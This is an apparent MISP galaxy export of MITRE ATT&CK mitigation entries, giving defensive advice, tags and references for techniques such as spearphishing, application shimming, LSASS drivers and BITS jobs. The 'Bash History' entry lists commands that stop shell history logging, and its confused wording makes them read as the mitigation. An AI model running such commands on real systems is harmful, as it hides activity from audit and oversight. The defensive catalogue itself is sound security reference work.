http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

Spearphishing Link Mitigation - T1192

Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.

The tag is: misp-galaxy:mitre-course-of-action="Spearphishing Link Mitigation - T1192"

Spearphishing Link Mitigation - T1192 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"

Table 2891. Table References
Links
https://attack.mitre.org/mitigations/T1192

Hidden Window Mitigation - T1143

Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.

The tag is: misp-galaxy:mitre-course-of-action="Hidden Window Mitigation - T1143"

Hidden Window Mitigation - T1143 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 2892. Table References
Links
https://attack.mitre.org/mitigations/T1143

Create Account Mitigation - T1136

Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.

Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.

The tag is: misp-galaxy:mitre-course-of-action="Create Account Mitigation - T1136"

Create Account Mitigation - T1136 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"

Table 2893. Table References
Links
https://attack.mitre.org/mitigations/T1136

Application Shimming Mitigation - T1138

There currently aren’t a lot of ways to mitigate application shimming. Disabling the Shim Engine isn’t recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.

Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.

The tag is: misp-galaxy:mitre-course-of-action="Application Shimming Mitigation - T1138"

Application Shimming Mitigation - T1138 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138" with estimative-language:likelihood-probability="almost-certain"

Table 2894. Table References
Links
https://attack.mitre.org/mitigations/T1138

Spearphishing Attachment Mitigation - T1193

Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: misp-galaxy:mitre-course-of-action="Spearphishing Attachment Mitigation - T1193"

Spearphishing Attachment Mitigation - T1193 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"

Table 2895. Table References
Links
https://attack.mitre.org/mitigations/T1193

Bash History Mitigation - T1139

There are multiple methods of preventing a user’s command history from being flushed to their .bash_history file, including use of the following commands: <code>set +o history</code> and <code>set -o history</code> to start logging again; <code>unset HISTFILE</code> being added to a user’s .bash_rc file; and <code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.

The tag is: misp-galaxy:mitre-course-of-action="Bash History Mitigation - T1139"

Bash History Mitigation - T1139 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Bash History - T1139" with estimative-language:likelihood-probability="almost-certain"

Table 2896. Table References
Links
https://attack.mitre.org/mitigations/T1139

Gatekeeper Bypass Mitigation - T1144

Other tools should be used to supplement Gatekeeper’s functionality. Additionally, system settings can prevent applications from running that haven’t been downloaded through the Apple Store which can help mitigate some of these issues.

The tag is: misp-galaxy:mitre-course-of-action="Gatekeeper Bypass Mitigation - T1144"

Gatekeeper Bypass Mitigation - T1144 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144" with estimative-language:likelihood-probability="almost-certain"

Table 2897. Table References
Links
https://attack.mitre.org/mitigations/T1144

Private Keys Mitigation - T1145

Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: misp-galaxy:mitre-course-of-action="Private Keys Mitigation - T1145"

Private Keys Mitigation - T1145 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"

Table 2898. Table References
Links
https://attack.mitre.org/mitigations/T1145

Hidden Users Mitigation - T1147

If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.

The tag is: misp-galaxy:mitre-course-of-action="Hidden Users Mitigation - T1147"

Hidden Users Mitigation - T1147 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Hidden Users - T1147" with estimative-language:likelihood-probability="almost-certain"

Table 2899. Table References
Links
https://attack.mitre.org/mitigations/T1147

SSH Hijacking Mitigation - T1184

Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)

The tag is: misp-galaxy:mitre-course-of-action="SSH Hijacking Mitigation - T1184"

SSH Hijacking Mitigation - T1184 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"

Table 2900. Table References
Links
https://attack.mitre.org/mitigations/T1184
https://www.symantec.com/connect/articles/ssh-and-ssh-agent

LC_MAIN Hijacking Mitigation - T1149

Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.

The tag is: misp-galaxy:mitre-course-of-action="LC_MAIN Hijacking Mitigation - T1149"

LC_MAIN Hijacking Mitigation - T1149 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="LC_MAIN Hijacking - T1149" with estimative-language:likelihood-probability="almost-certain"

Table 2901. Table References
Links
https://attack.mitre.org/mitigations/T1149

Defacement Mitigation - T1491

Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

The tag is: misp-galaxy:mitre-course-of-action="Defacement Mitigation - T1491"

Defacement Mitigation - T1491 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Defacement - T1491" with estimative-language:likelihood-probability="almost-certain"

Table 2902. Table References
Links
https://attack.mitre.org/mitigations/T1491
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf

Startup Items Mitigation - T1165

Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.

The tag is: misp-galaxy:mitre-course-of-action="Startup Items Mitigation - T1165"

Startup Items Mitigation - T1165 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Startup Items - T1165" with estimative-language:likelihood-probability="almost-certain"

Table 2903. Table References
Links
https://attack.mitre.org/mitigations/T1165

Dylib Hijacking Mitigation - T1157

Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can’t write to these directories, then they can’t intercept the search path.

The tag is: misp-galaxy:mitre-course-of-action="Dylib Hijacking Mitigation - T1157"

Dylib Hijacking Mitigation - T1157 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157" with estimative-language:likelihood-probability="almost-certain"

Table 2904. Table References
Links
https://attack.mitre.org/mitigations/T1157

Launch Agent Mitigation - T1159

Restrict user’s abilities to create Launch Agents with group policy.

The tag is: misp-galaxy:mitre-course-of-action="Launch Agent Mitigation - T1159"

Launch Agent Mitigation - T1159 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"

Table 2905. Table References
Links
https://attack.mitre.org/mitigations/T1159

Browser Extensions Mitigation - T1176

Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.

Browser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)

Change settings to prevent the browser from installing extensions without sufficient permissions.

Close out all browser sessions when finished using them.

The tag is: misp-galaxy:mitre-course-of-action="Browser Extensions Mitigation - T1176"

Browser Extensions Mitigation - T1176 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"

Table 2906. Table References
Links
https://attack.mitre.org/mitigations/T1176
http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/

Process Doppelgänging Mitigation - T1186

This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Process Doppelgänging Mitigation - T1186"

Process Doppelgänging Mitigation - T1186 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1186" with estimative-language:likelihood-probability="almost-certain"

Table 2907. Table References
Links
https://attack.mitre.org/mitigations/T1186
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

LSASS Driver Mitigation - T1177

On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code> to <code>dword:00000001</code>. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.

On Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)

Ensure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)

The tag is: misp-galaxy:mitre-course-of-action="LSASS Driver Mitigation - T1177"

LSASS Driver Mitigation - T1177 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"

Table 2908. Table References
Links
https://attack.mitre.org/mitigations/T1177
https://technet.microsoft.com/library/dn408187.aspx
https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage
https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works
https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx

Forced Authentication Mitigation - T1187

Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)

For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.

Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.

The tag is: misp-galaxy:mitre-course-of-action="Forced Authentication Mitigation - T1187"

Forced Authentication Mitigation - T1187 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

Table 2909. Table References
Links
https://attack.mitre.org/mitigations/T1187
https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices
https://www.us-cert.gov/ncas/alerts/TA17-293A

BITS Jobs Mitigation - T1197

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)

Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.

Consider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)

Consider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code> HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS</code>. (Citation: Microsoft BITS)

The tag is: misp-galaxy:mitre-course-of-action="BITS Jobs Mitigation - T1197"

BITS Jobs Mitigation - T1197 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 2910. Table References
Links
https://attack.mitre.org/mitigations/T1197
https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
https://www.symantec.com/connect/blogs/malware-update-windows-update
https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx

Trusted Relationship Mitigation - T1199

Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.

The tag is: misp-galaxy:mitre-course-of-action="Trusted Relationship Mitigation - T1199"

Trusted Relationship Mitigation - T1199 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"

Table 2911. Table References
Links
https://attack.mitre.org/mitigations/T1199

Firmware Corruption Mitigation - T1495

Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities.

The tag is: misp-galaxy:mitre-course-of-action="Firmware Corruption Mitigation - T1495"

Firmware Corruption Mitigation - T1495 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"

Table 2912. Table References
Links
https://attack.mitre.org/mitigations/T1495

Resource Hijacking Mitigation - T1496

The tag is: misp-galaxy:mitre-course-of-action="Resource Hijacking Mitigation - T1496"

Resource Hijacking Mitigation - T1496 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"

Table 2913. Table References
Links
https://attack.mitre.org/mitigations/T1496
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data Destruction Mitigation - T1488

The tag is: misp-galaxy:mitre-course-of-action="Data Destruction Mitigation - T1488"

Data Destruction Mitigation - T1488 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"

Table 2914. Table References
Links
https://attack.mitre.org/mitigations/T1488
https://www.ready.gov/business/implementation/IT
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Service Stop Mitigation - T1489

Ensure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.

The tag is: misp-galaxy:mitre-course-of-action="Service Stop Mitigation - T1489"

Service Stop Mitigation - T1489 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 2915. Table References
Links
https://attack.mitre.org/mitigations/T1489

Multi-factor Authentication - M1032

Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.

The tag is: misp-galaxy:mitre-course-of-action="Multi-factor Authentication - M1032"

Multi-factor Authentication - M1032 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"

Table 2916. Table References
Links
https://attack.mitre.org/mitigations/M1032

Rc.common Mitigation - T1163

Limit privileges of user accounts so only authorized users can edit the rc.common file.

The tag is: misp-galaxy:mitre-course-of-action="Rc.common Mitigation - T1163"

Rc.common Mitigation - T1163 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Rc.common - T1163" with estimative-language:likelihood-probability="almost-certain"

Table 2917. Table References
Links
https://attack.mitre.org/mitigations/T1163

SSL/TLS Inspection - M1020

Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.

The tag is: misp-galaxy:mitre-course-of-action="SSL/TLS Inspection - M1020"

SSL/TLS Inspection - M1020 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 2918. Table References
Links
https://attack.mitre.org/mitigations/M1020

Regsvcs/Regasm Mitigation - T1121

Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.

The tag is: misp-galaxy:mitre-course-of-action="Regsvcs/Regasm Mitigation - T1121"

Regsvcs/Regasm Mitigation - T1121 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121" with estimative-language:likelihood-probability="almost-certain"

Table 2919. Table References
Links
https://attack.mitre.org/mitigations/T1121

Security Updates - M1001

Install security updates in response to discovered vulnerabilities.

Purchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.

Decommission devices that will no longer receive security updates.

Limit or block access to enterprise resources from devices that have not installed recent security updates.

On Android devices, access can be controlled based on each device’s security patch level. On iOS devices, access can be controlled based on the iOS version.

The tag is: misp-galaxy:mitre-course-of-action="Security Updates - M1001"

Security Updates - M1001 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Disguise Root/Jailbreak Indicators - T1408" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Modify Cached Executable Code - T1403" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Modify Trusted Execution Environment - T1399" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"

Table 2920. Table References
Links
https://attack.mitre.org/mitigations/M1001

Lock Bootloader - M1003

On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.

The tag is: misp-galaxy:mitre-course-of-action="Lock Bootloader - M1003"

Lock Bootloader - M1003 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"

Table 2921. Table References
Links
https://attack.mitre.org/mitigations/M1003

Network Segmentation - M1030

Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.

The tag is: misp-galaxy:mitre-course-of-action="Network Segmentation - M1030"

Network Segmentation - M1030 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494" with estimative-language:likelihood-probability="almost-certain"

Table 2922. Table References
Links
https://attack.mitre.org/mitigations/M1030

Application Vetting - M1005

Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.

Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.

Application Vetting is not a complete mitigation. Techniques such as [Detect App Analysis Environment](https://attack.mitre.org/techniques/T1440) exist that can enable adversaries to bypass vetting.

The tag is: misp-galaxy:mitre-course-of-action="Application Vetting - M1005"

Application Vetting - M1005 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="App Auto-Start at Device Boot - T1402" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
